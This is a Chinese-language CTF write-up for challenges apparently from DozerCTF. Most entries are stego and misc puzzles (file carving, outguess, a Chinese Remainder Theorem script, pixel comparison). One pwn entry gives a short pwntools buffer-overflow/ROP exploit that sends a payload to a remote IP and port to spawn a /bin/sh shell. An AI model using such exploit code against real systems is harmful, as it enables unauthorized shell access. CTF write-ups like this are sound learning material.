B站视频藏有flag:DozerCTF{w3lc0me_to_Do2erCTF}
binwalk + foremost 分离出个 gif 和 png ①.gif 分离发现二维码不对劲,于是乎回到图片根据gif的头和尾手工分离出gif,得到有用信息:DozerCTF{is_it_simple
②.png 零宽,通过在线网站解码得到有用信息:_for_you!congratulate}
最终整理得到flag:DozerCTF{is_it_simple_for_you!congratulate}
老套娃了!上手 binwalk + foremost分离出两张图片,接着再分离一波hint.png
得到一加密包,but 我们用bandzip就是未加密,跳舞小人解得key为DOZER
最后根据hint的图片提示得知是outguess,解密得到flag:DozerCTF{Y0u_arE_h0lME4}
outguess -k "DOZER" -r flag.jpg flag.txt
①.日历画图 将图片用记事本打开滑到最底下发现一串数字,通过日历将其逐个连接得到:DOYOUKNOW_CRT
040513202625181104
0506071522282726181105
051307132027
0506071522282726181105
051219262728211407
0512192606122028
26191205132129221508
0506071522282726181105
0325052707
252627
07060504111825262728
25181104050612111927
05060706132027
②.中国剩余定理 百度找个脚本跑下得到key为5007
# 求两个数的最大公约数gcd函数
def gcd(a,b):
if b == 0:
return a
else :
return gcd(b,a % b)
# 判断一个列表任意两个数是否两两互质
def compare(list):
for i in range(0,len(list)):
flag = 1
for j in range(i+1,len(list)):
if gcd(list[i],list[j]) != 1:
print('不能直接使用中国剩余定理!')
exit()
#如果满足条件,就会继续执行,否则退出程序
# 求出输入的m1,m2,..,mk 的乘积m
def product_m(list):
m = 1
for i in list:
m *= i
return m
# 求M1,M2,..,MK 的值 Mj = m / mj 并返回一个名为shang的列表
def get_divsion(list,m):
div = []
for i in list:
div.append(m // i)
return div
def get_inverse(a, m): # 求一个数a 的逆 再模m 的值 这个函数返回的是一个值不是列表
if gcd(a, m) != 1:
return None
u1, u2, u3 = 1, 0, a
v1, v2, v3 = 0, 1, m
while v3 != 0:
q = u3 // v3
v1, v2, v3, u1, u2, u3 = (u1 - q * v1), (u2 - q * v2), (u3 - q * v3), v1, v2, v3
return u1 % m
# 求Xj 算法为:Xj = (M * M_INVERSE * a) % mj
def get_x(M:int ,M_inverse:int ,a :int,m:int):
product_x = (M * M_inverse * a) % m
return product_x
# 算出最终答案X = X1+X2+...Xk
def get_solution(list_m, list_a):
# compare(list_m)
m = product_m(list_m)
list_M = get_divsion(list_m, m)
list_M_inverse = []
list_X = []
total = 0
for i in range(0,len(list_M)):
list_M_inverse.append(get_inverse(list_M[i], list_m[i]))
for i in range(len(list_M)):
list_X.append(get_x(list_M[i],list_M_inverse[i],list_a[i],m))
for x in list_X:
total += x
return total % m
# #测试数据
# list_a = [2,3,2]
# list_m = [3,5,7]
list_a = [2,2,9,16]
list_m = [5,7,17,23]
print(get_solution(list_m, list_a))
③.base85解码
最终整理得到flag:DozerCTF{DOYOUKNOW_CRT5007_good_over}
对比两张一样的图片找到不同的像素点,然后将每张图片的0和1提取出来8位一组转字符,得到flag:DozerCTF{D0_yOU_LIke_PixEl} 附上脚本
from PIL import Image
res = ''
for a in range(1,219):
img = Image.open('./funny_pixel/'+str(a)+'.png')
x, y = img.size
t = 0
for i in range(x):
for j in range(y):
p = img.getpixel((i,j))
if p ==(239, 239, 39):
t+=1
if t==10:
res+='0'
else:
res+='1'
tmp=[]
for i in range(len(res)//8):
tmp.append(res[i*8:i*8+8])
for i in tmp:
print(chr(int(i,2)),end='')
调用gets函数直接向string写入/bin/sh,得到flag:Dozerctf{pwn_is_so_good_i_love_pwn}
附上exp
from pwn import *
p=remote("1.14.160.21","20001")
payload='A'*0x78+p64(0x401313)+p64(0x404060)+p64(0x401080)+p64(0x401176)
p.sendline(payload)
p.interactive()
gm8decompiler解包得到.gmk文件在gamemake中打开,最终在背景图中找到flag:Dozerctf{i_wanna_To_be_THE_gay}
.\gm8decompiler.exe "I Wanna Be The Guy Remake 8.exe"
根据提示账号密码为dozer/dozer123进入后台,发现有日志,翻了翻找到了文件名成功坐上大佬的车
于是乎直接读flag得到flag:Dozerctf{k94jf8ejdbzks2l4o40rjdnfewrkyosd}